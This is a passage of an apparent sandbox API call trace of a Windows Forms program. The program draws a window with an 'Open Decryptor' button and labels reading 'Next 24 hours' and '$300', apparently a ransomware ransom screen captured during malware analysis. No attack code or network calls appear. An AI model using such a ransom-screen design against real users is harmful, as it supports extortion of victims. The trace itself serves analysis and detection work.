(ho=0x8910071f) returned 1 [0154.795] RestoreDC (hdc=0x1e0106e1, nSavedDC=-1) returned 1 [0154.796] GetClientRect (in: hWnd=0x8004e, lpRect=0x19d6ac | out: lpRect=0x19d6ac) returned 1 [0154.796] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0154.796] GetCurrentObject (hdc=0x1e0106e1, type=0x2) returned 0x900010 [0154.796] GetCurrentObject (hdc=0x1e0106e1, type=0x7) returned 0x400506ef [0154.796] GetCurrentObject (hdc=0x1e0106e1, type=0x6) returned 0x8a01c2 [0154.796] SaveDC (hdc=0x1e0106e1) returned 1 [0154.796] GetNearestColor (hdc=0x1e0106e1, color=0x323533) returned 0x323533 [0154.796] CreateSolidBrush (color=0x323533) returned 0x8a10071f [0154.796] FillRect (hDC=0x1e0106e1, lprc=0x19d54c, hbr=0x8a10071f) returned 1 [0154.796] DeleteObject (ho=0x8a10071f) returned 1 [0154.796] RestoreDC (hdc=0x1e0106e1, nSavedDC=-1) returned 1 [0154.796] GetWindowTextLengthW (hWnd=0x8004e) [0154.796] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.799] IsChild (hWndParent=0x20212, hWnd=0x1023e) returned 0 [0154.799] GetParent (hWnd=0x20212) returned 0x8004e [0154.799] GetWindowLongW (hWnd=0x20212, nIndex=-20) returned 0 [0154.799] DestroyWindow (hWnd=0x20212) [0154.799] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x20212, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0154.800] GetClientRect (in: hWnd=0x8004e, lpRect=0x19e27c | out: lpRect=0x19e27c) returned 1 [0154.800] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0154.800] GetCurrentObject (hdc=0x1e0106e1, type=0x2) returned 0x900010 [0154.800] GetCurrentObject (hdc=0x1e0106e1, type=0x7) returned 0x400506ef [0154.800] GetCurrentObject (hdc=0x1e0106e1, type=0x6) returned 0x8a01c2 [0154.800] SaveDC (hdc=0x1e0106e1) returned 1 [0154.800] GetNearestColor (hdc=0x1e0106e1, color=0x323533) returned 0x323533 [0154.800] CreateSolidBrush (color=0x323533) returned 0x8b10071f [0154.800] FillRect (hDC=0x1e0106e1, lprc=0x19e11c, hbr=0x8b10071f) returned 1 [0154.800] DeleteObject (ho=0x8b10071f) returned 1 [0154.800] RestoreDC (hdc=0x1e0106e1, nSavedDC=-1) returned 1 [0154.801] GetCurrentActCtx (in: lphActCtx=0x19e724 | out: lphActCtx=0x19e724*=0xef1264) returned 1 [0154.802] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0154.802] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0154.802] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.BUTTON.app.0.141b42a_r11_ad1", lpWindowName="Open Decryptor", dwStyle=0x5601000b, X=9, Y=304, nWidth=178, nHeight=111, hWndParent=0x8004e, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0154.802] SetWindowLongW (hWnd=0x30212, nIndex=-4, dwNewLong=1876224000) returned 88375534 [0154.802] GetWindowLongW (hWnd=0x30212, nIndex=-4) returned 1876224000 [0154.803] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x81, wParam=0x0, lParam=0x19e148) returned 0x1 [0154.804] SetWindowTextW (hWnd=0x30212, lpString="Open Decryptor") [0154.804] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0xc, wParam=0x0, lParam=0x2fb1f3c) returned 0x1 [0154.807] GetClientRect (in: hWnd=0x9020a, lpRect=0x19e38c | out: lpRect=0x19e38c) returned 1 [0154.807] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0154.807] GetCurrentObject (hdc=0x1e0106e1, type=0x2) returned 0x900010 [0154.807] GetCurrentObject (hdc=0x1e0106e1, type=0x7) returned 0x400506ef [0154.807] GetCurrentObject (hdc=0x1e0106e1, type=0x6) returned 0x8a01c2 [0154.807] SaveDC (hdc=0x1e0106e1) returned 1 [0154.808] GetNearestColor (hdc=0x1e0106e1, color=0x323533) returned 0x323533 [0154.808] CreateSolidBrush (color=0x323533) returned 0x8c10071f [0154.808] FillRect (hDC=0x1e0106e1, lprc=0x19e22c, hbr=0x8c10071f) returned 1 [0154.808] DeleteObject (ho=0x8c10071f) returned 1 [0154.808] RestoreDC (hdc=0x1e0106e1, nSavedDC=-1) returned 1 [0154.809] GetClientRect (in: hWnd=0x9020a, lpRect=0x19e34c | out: lpRect=0x19e34c) returned 1 [0154.809] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0154.809] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0154.810] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x400506ef [0154.810] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0154.810] SaveDC (hdc=0x10105d6) returned 1 [0154.810] GetNearestColor (hdc=0x10105d6, color=0x323533) returned 0x323533 [0154.810] CreateSolidBrush (color=0x323533) returned 0x8d10071f [0154.810] FillRect (hDC=0x10105d6, lprc=0x19e1ec, hbr=0x8d10071f) returned 1 [0154.810] DeleteObject (ho=0x8d10071f) returned 1 [0154.810] RestoreDC (hdc=0x10105d6, nSavedDC=-1) returned 1 [0154.811] IsChild (hWndParent=0x9020a, hWnd=0x1023e) returned 0 [0154.811] GetParent (hWnd=0x9020a) returned 0x8004e [0154.811] GetWindowThreadProcessId (in: hWnd=0x7020c, lpdwProcessId=0x19e788 | out: lpdwProcessId=0x19e788) returned 0x390 [0154.811] SetParent (hWndChild=0x7020c, hWndNewParent=0x1023c) returned 0x9020a [0154.811] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x7020c, Msg=0x18, wParam=0x0, lParam=0x0) returned 0x0 [0154.811] GetWindowTextLengthW (hWnd=0x9020a) [0154.811] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x9020a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.811] GetClientRect (in: hWnd=0x9020a, lpRect=0x19e2f4 | out: lpRect=0x19e2f4) returned 1 [0154.811] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0154.812] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0154.812] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x400506ef [0154.812] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0154.812] SaveDC (hdc=0x10105d6) returned 1 [0154.812] GetNearestColor (hdc=0x10105d6, color=0x323533) returned 0x323533 [0154.812] CreateSolidBrush (color=0x323533) returned 0x8e10071f [0154.812] FillRect (hDC=0x10105d6, lprc=0x19e194, hbr=0x8e10071f) returned 1 [0154.812] DeleteObject (ho=0x8e10071f) returned 1 [0154.812] RestoreDC (hdc=0x10105d6, nSavedDC=-1) returned 1 [0154.812] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x7020c, Msg=0x47, wParam=0x0, lParam=0x19e6e4) returned 0x0 [0154.812] GetClientRect (in: hWnd=0x7020c, lpRect=0x19e3a4 | out: lpRect=0x19e3a4) returned 1 [0154.812] GetWindowRect (in: hWnd=0x7020c, lpRect=0x19e3a4 | out: lpRect=0x19e3a4) returned 1 [0154.812] GetParent (hWnd=0x7020c) returned 0x9020a [0154.812] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x9020a, lpPoints=0x19e3a4, cPoints=0x2 | out: lpPoints=0x19e3a4) returned -26018107 [0154.812] GetParent (hWnd=0x7020c) returned 0x9020a [0154.813] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x7020c, Msg=0x46, wParam=0x0, lParam=0x19e6e4) returned 0x0 [0154.813] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x7020c, Msg=0x22, wParam=0x0, lParam=0x0) returned 0x0 [0154.813] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x7020c, Msg=0x47, wParam=0x0, lParam=0x19e6e4) returned 0x0 [0154.813] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x7020c, Msg=0x3, wParam=0x0, lParam=0x300006) returned 0x0 [0154.813] GetClientRect (in: hWnd=0x7020c, lpRect=0x19dc74 | out: lpRect=0x19dc74) returned 1 [0154.813] GetWindowRect (in: hWnd=0x7020c, lpRect=0x19dc74 | out: lpRect=0x19dc74) returned 1 [0154.813] GetParent (hWnd=0x7020c) returned 0x1023c [0154.813] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1023c, lpPoints=0x19dc74, cPoints=0x2 | out: lpPoints=0x19dc74) returned -1638403 [0154.813] GetClientRect (in: hWnd=0x7020c, lpRect=0x19e3a4 | out: lpRect=0x19e3a4) returned 1 [0154.813] GetWindowRect (in: hWnd=0x7020c, lpRect=0x19e3a4 | out: lpRect=0x19e3a4) returned 1 [0154.813] GetParent (hWnd=0x7020c) returned 0x1023c [0154.813] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1023c, lpPoints=0x19e3a4, cPoints=0x2 | out: lpPoints=0x19e3a4) returned -1638403 [0154.813] GetParent (hWnd=0x7020c) returned 0x1023c [0154.813] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x7020c, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0154.814] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x19e788 | out: lpdwProcessId=0x19e788) returned 0x390 [0154.814] SetParent (hWndChild=0x10214, hWndNewParent=0x1023c) returned 0x9020a [0154.814] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10214, Msg=0x18, wParam=0x0, lParam=0x0) returned 0x0 [0154.814] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10214, Msg=0x46, wParam=0x0, lParam=0x19e6e4) returned 0x0 [0154.814] GetClientRect (in: hWnd=0x9020a, lpRect=0x19e3ec | out: lpRect=0x19e3ec) returned 1 [0154.814] GetWindowTextLengthW (hWnd=0x9020a) returned 0 [0154.814] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x9020a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.814] GetSystemMetrics (nIndex=42) returned 0 [0154.814] GetWindowTextW (in: hWnd=0x9020a, lpString=0x19e2cc, nMaxCount=1 | out: lpString="") returned 0 [0154.814] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x9020a, Msg=0xd, wParam=0x1, lParam=0x19e2cc) returned 0x0 [0154.814] GetClientRect (in: hWnd=0x9020a, lpRect=0x19e2f4 | out: lpRect=0x19e2f4) returned 1 [0154.814] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0154.814] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0154.814] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x400506ef [0154.814] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0154.814] SaveDC (hdc=0x10105d6) returned 1 [0154.814] GetNearestColor (hdc=0x10105d6, color=0x323533) returned 0x323533 [0154.815] CreateSolidBrush (color=0x323533) returned 0x8f10071f [0154.815] FillRect (hDC=0x10105d6, lprc=0x19e194, hbr=0x8f10071f) returned 1 [0154.815] DeleteObject (ho=0x8f10071f) returned 1 [0154.815] RestoreDC (hdc=0x10105d6, nSavedDC=-1) returned 1 [0154.815] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10214, Msg=0x47, wParam=0x0, lParam=0x19e6e4) returned 0x0 [0154.815] GetClientRect (in: hWnd=0x10214, lpRect=0x19e3a4 | out: lpRect=0x19e3a4) returned 1 [0154.815] GetWindowRect (in: hWnd=0x10214, lpRect=0x19e3a4 | out: lpRect=0x19e3a4) returned 1 [0154.815] GetParent (hWnd=0x10214) returned 0x9020a [0154.815] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x9020a, lpPoints=0x19e3a4, cPoints=0x2 | out: lpPoints=0x19e3a4) returned -26018107 [0154.815] GetParent (hWnd=0x10214) returned 0x9020a [0154.815] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10214, Msg=0x46, wParam=0x0, lParam=0x19e6e4) returned 0x0 [0154.816] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10214, Msg=0x22, wParam=0x0, lParam=0x0) returned 0x0 [0154.816] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10214, Msg=0x47, wParam=0x0, lParam=0x19e6e4) returned 0x0 [0154.816] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10214, Msg=0x3, wParam=0x0, lParam=0x54002f) returned 0x0 [0154.816] GetClientRect (in: hWnd=0x10214, lpRect=0x19dc74 | out: lpRect=0x19dc74) returned 1 [0154.816] GetWindowRect (in: hWnd=0x10214, lpRect=0x19dc74 | out: lpRect=0x19dc74) returned 1 [0154.816] GetParent (hWnd=0x10214) returned 0x1023c [0154.816] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1023c, lpPoints=0x19dc74, cPoints=0x2 | out: lpPoints=0x19dc74) returned -1638403 [0154.816] GetClientRect (in: hWnd=0x10214, lpRect=0x19e3a4 | out: lpRect=0x19e3a4) returned 1 [0154.816] GetWindowRect (in: hWnd=0x10214, lpRect=0x19e3a4 | out: lpRect=0x19e3a4) returned 1 [0154.816] GetParent (hWnd=0x10214) returned 0x1023c [0154.816] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1023c, lpPoints=0x19e3a4, cPoints=0x2 | out: lpPoints=0x19e3a4) returned -1638403 [0154.816] GetParent (hWnd=0x10214) returned 0x1023c [0154.816] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10214, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0154.816] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x19e788 | out: lpdwProcessId=0x19e788) returned 0x390 [0154.816] SetParent (hWndChild=0x10216, hWndNewParent=0x1023c) [0154.816] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10216, Msg=0x18, wParam=0x0, lParam=0x0) returned 0x0 [0154.817] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10216, Msg=0x46, wParam=0x0, lParam=0x19e6e4) returned 0x0 [0154.817] GetClientRect (in: hWnd=0x9020a, lpRect=0x19e3ec | out: lpRect=0x19e3ec) returned 1 [0154.817] GetWindowTextLengthW (hWnd=0x9020a) returned 0 [0154.817] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x9020a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.817] GetSystemMetrics (nIndex=42) returned 0 [0154.817] GetWindowTextW (in: hWnd=0x9020a, lpString=0x19e2cc, nMaxCount=1 | out: lpString="") returned 0 [0154.817] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x9020a, Msg=0xd, wParam=0x1, lParam=0x19e2cc) returned 0x0 [0154.817] GetClientRect (in: hWnd=0x9020a, lpRect=0x19e2f4 | out: lpRect=0x19e2f4) returned 1 [0154.817] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0154.817] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0154.817] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x400506ef [0154.817] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0154.817] SaveDC (hdc=0x10105d6) returned 1 [0154.817] GetNearestColor (hdc=0x10105d6, color=0x323533) returned 0x323533 [0154.817] CreateSolidBrush (color=0x323533) returned 0x9010071f [0154.817] FillRect (hDC=0x10105d6, lprc=0x19e194, hbr=0x9010071f) returned 1 [0154.818] DeleteObject (ho=0x9010071f) returned 1 [0154.818] RestoreDC (hdc=0x10105d6, nSavedDC=-1) returned 1 [0154.819] GetClientRect (in: hWnd=0x8004e, lpRect=0x19e27c | out: lpRect=0x19e27c) returned 1 [0154.819] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0154.820] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x9020a, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0154.820] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x9020a, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0154.820] GetCurrentActCtx (in: lphActCtx=0x19e724 | out: lphActCtx=0x19e724*=0xef1264) returned 1 [0154.821] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0154.821] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0154.821] CreateWindowExW (dwExStyle=0x10000, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r11_ad1", lpWindowName=0x0, dwStyle=0x56800000, X=9, Y=149, nWidth=178, nHeight=127, hWndParent=0x8004e, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0154.823] SetWindowLongW (hWnd=0xa020a, nIndex=-4, dwNewLong=1952448832) returned 88361574 [0154.824] GetWindowLongW (hWnd=0xa020a, nIndex=-4) returned 1952448832 [0154.824] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0xa020a, Msg=0x81, wParam=0x0, lParam=0x19e148) returned 0x1 [0154.824] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0xa020a, Msg=0x83, wParam=0x0, lParam=0x19e134) returned 0x0 [0154.825] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0xa020a, Msg=0x1, wParam=0x0, lParam=0x19e148) returned 0x0 [0154.825] GetWindow (hWnd=0xa020a, uCmd=0x3) returned 0x30212 [0154.825] GetClientRect (in: hWnd=0xa020a, lpRect=0x19de24 | out: lpRect=0x19de24) returned 1 [0154.825] GetWindowRect (in: hWnd=0xa020a, lpRect=0x19de24 | out: lpRect=0x19de24) returned 1 [0154.825] GetParent (hWnd=0xa020a) returned 0x8004e [0154.825] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x8004e, lpPoints=0x19de24, cPoints=0x2 | out: lpPoints=0x19de24) returned -16187697 [0154.825] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0xa020a, Msg=0x5, wParam=0x0, lParam=0x7d00b0) returned 0x0 [0154.825] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0xa020a, Msg=0x3, wParam=0x0, lParam=0x96000a) returned 0x0 [0154.825] GetClientRect (in: hWnd=0xa020a, lpRect=0x19de7c | out: lpRect=0x19de7c) returned 1 [0154.825] GetWindowRect (in: hWnd=0xa020a, lpRect=0x19de7c | out: lpRect=0x19de7c) returned 1 [0154.825] GetParent (hWnd=0xa020a) returned 0x8004e [0154.825] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x8004e, lpPoints=0x19de7c, cPoints=0x2 | out: lpPoints=0x19de7c) returned -16187697 [0154.825] SendMessageW (hWnd=0xa020a, Msg=0x2210, wParam=0x20a0001, lParam=0xa020a) returned 0x0 [0154.825] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0xa020a, Msg=0x2210, wParam=0x20a0001, lParam=0xa020a) returned 0x0 [0154.826] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0xa020a, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0154.826] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0xa020a, Msg=0x46, wParam=0x0, lParam=0x19e15c) returned 0x0 [0154.826] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0xa020a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0154.826] GetClientRect (in: hWnd=0xa020a, lpRect=0x19de64 | out: lpRect=0x19de64) returned 1 [0154.826] GetWindowTextLengthW (hWnd=0xa020a) returned 0 [0154.826] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0xa020a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.826] GetSystemMetrics (nIndex=42) returned 0 [0154.826] GetWindowTextW (in: hWnd=0xa020a, lpString=0x19dd44, nMaxCount=1 | out: lpString="") returned 0 [0154.826] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0xa020a, Msg=0xd, wParam=0x1, lParam=0x19dd44) returned 0x0 [0154.826] GetClientRect (in: hWnd=0xa020a, lpRect=0x19dd6c | out: lpRect=0x19dd6c) returned 1 [0154.826] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0154.828] IsChild (hWndParent=0x7020c, hWnd=0x1023e) returned 0 [0154.828] GetParent (hWnd=0x7020c) returned 0xa020a [0154.828] GetWindowLongW (hWnd=0x7020c, nIndex=-20) returned 0 [0154.828] DestroyWindow (hWnd=0x7020c) returned 1 [0154.828] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x7020c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0154.828] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0xa020a, Msg=0x210, wParam=0x20c0002, lParam=0x7020c) returned 0x0 [0154.828] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x7020c, Msg=0x18, wParam=0x0, lParam=0x0) returned 0x0 [0154.828] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x7020c, Msg=0x46, wParam=0x0, lParam=0x19e5ec) returned 0x0 [0154.829] GetClientRect (in: hWnd=0xa020a, lpRect=0x19e2f4 | out: lpRect=0x19e2f4) returned 1 [0154.829] GetWindowTextLengthW (hWnd=0xa020a) returned 0 [0154.829] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0xa020a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.829] GetSystemMetrics (nIndex=42) returned 0 [0154.829] GetWindowTextW (in: hWnd=0xa020a, lpString=0x19e1d4, nMaxCount=1 | out: lpString="") returned 0 [0154.829] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0xa020a, Msg=0xd, wParam=0x1, lParam=0x19e1d4) returned 0x0 [0154.829] GetClientRect (in: hWnd=0xa020a, lpRect=0x19e1fc | out: lpRect=0x19e1fc) returned 1 [0154.829] GetCurrentObject (hdc=0x1b010670, type=0x1) returned 0xb00017 [0154.829] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x7020c, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0154.829] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x7020c, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0154.830] GetCurrentActCtx (in: lphActCtx=0x19e6a4 | out: lphActCtx=0x19e6a4*=0xef1264) returned 1 [0154.831] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0154.831] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0154.831] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r11_ad1", lpWindowName="Next 24 hours", dwStyle=0x5600000d, X=6, Y=48, nWidth=171, nHeight=29, hWndParent=0xa020a, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x8020c [0154.831] SetWindowLongW (hWnd=0x8020c, nIndex=-4, dwNewLong=1876339648) returned 88362614 [0154.831] GetWindowLongW (hWnd=0x8020c, nIndex=-4) returned 1876339648 [0154.832] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x8020c, Msg=0x81, wParam=0x0, lParam=0x19e0c8) returned 0x1 [0154.833] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x8020c, Msg=0x83, wParam=0x0, lParam=0x19e0b4) returned 0x0 [0154.833] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x8020c, Msg=0x1, wParam=0x0, lParam=0x19e0c8) returned 0x0 [0154.834] GetWindow (hWnd=0x8020c, uCmd=0x3) returned 0x0 [0154.834] GetClientRect (in: hWnd=0x8020c, lpRect=0x19dd74 | out: lpRect=0x19dd74) returned 1 [0154.834] GetWindowRect (in: hWnd=0x8020c, lpRect=0x19dd74 | out: lpRect=0x19dd74) returned 1 [0154.834] GetParent (hWnd=0x8020c) returned 0xa020a [0154.834] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0xa020a, lpPoints=0x19dd74, cPoints=0x2 | out: lpPoints=0x19dd74) returned -26018107 [0154.834] SetWindowTextW (hWnd=0x8020c, lpString="Next 24 hours") returned 1 [0154.834] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x8020c, Msg=0xc, wParam=0x0, lParam=0x2fe8e84) returned 0x1 [0154.834] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x8020c, Msg=0x5, wParam=0x0, lParam=0x1d00ab) returned 0x0 [0154.834] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x8020c, Msg=0x3, wParam=0x0, lParam=0x300006) returned 0x0 [0154.834] GetClientRect (in: hWnd=0x8020c, lpRect=0x19ddcc | out: lpRect=0x19ddcc) returned 1 [0154.834] GetWindowRect (in: hWnd=0x8020c, lpRect=0x19ddcc | out: lpRect=0x19ddcc) returned 1 [0154.834] GetParent (hWnd=0x8020c) returned 0xa020a [0154.834] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0xa020a, lpPoints=0x19ddcc, cPoints=0x2 | out: lpPoints=0x19ddcc) returned -26018107 [0154.834] SendMessageW (hWnd=0x8020c, Msg=0x2210, wParam=0x20c0001, lParam=0x8020c) returned 0x0 [0154.834] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x8020c, Msg=0x2210, wParam=0x20c0001, lParam=0x8020c) returned 0x0 [0154.835] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x8020c, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0154.835] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x8020c, Msg=0x46, wParam=0x0, lParam=0x19e0dc) returned 0x0 [0154.835] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x8020c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0154.835] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x8020c, Msg=0x47, wParam=0x0, lParam=0x19e0dc) returned 0x0 [0154.835] GetClientRect (in: hWnd=0x8020c, lpRect=0x19dd9c | out: lpRect=0x19dd9c) returned 1 [0154.835] GetWindowRect (in: hWnd=0x8020c, lpRect=0x19dd9c | out: lpRect=0x19dd9c) returned 1 [0154.835] GetParent (hWnd=0x8020c) returned 0xa020a [0154.835] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0xa020a, lpPoints=0x19dd9c, cPoints=0x2 | out: lpPoints=0x19dd9c) returned -26018107 [0154.835] GetParent (hWnd=0x8020c) returned 0xa020a [0154.838] IsChild (hWndParent=0x10214, hWnd=0x1023e) returned 0 [0154.838] GetParent (hWnd=0x10214) returned 0xa020a [0154.838] GetWindowLongW (hWnd=0x10214, nIndex=-20) returned 0 [0154.838] DestroyWindow (hWnd=0x10214) returned 1 [0154.838] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10214, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0154.838] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0xa020a, Msg=0x210, wParam=0x2140002, lParam=0x10214) returned 0x0 [0154.838] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10214, Msg=0x18, wParam=0x0, lParam=0x0) returned 0x0 [0154.838] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10214, Msg=0x46, wParam=0x0, lParam=0x19e5ec) returned 0x0 [0154.839] GetClientRect (in: hWnd=0xa020a, lpRect=0x19e2f4 | out: lpRect=0x19e2f4) returned 1 [0154.839] GetWindowTextLengthW (hWnd=0xa020a) returned 0 [0154.839] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0xa020a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.839] GetSystemMetrics (nIndex=42) returned 0 [0154.839] GetWindowTextW (in: hWnd=0xa020a, lpString=0x19e1d4, nMaxCount=1 | out: lpString="") returned 0 [0154.839] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0xa020a, Msg=0xd, wParam=0x1, lParam=0x19e1d4) returned 0x0 [0154.839] GetClientRect (in: hWnd=0xa020a, lpRect=0x19e1fc | out: lpRect=0x19e1fc) returned 1 [0154.839] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0154.839] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10214, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0154.840] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10214, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0154.840] GetCurrentActCtx (in: lphActCtx=0x19e6a4 | out: lphActCtx=0x19e6a4*=0xef1264) returned 1 [0154.841] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0154.841] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0154.841] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r11_ad1", lpWindowName="$300", dwStyle=0x5600000d, X=47, Y=84, nWidth=79, nHeight=33, hWndParent=0xa020a, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x20214 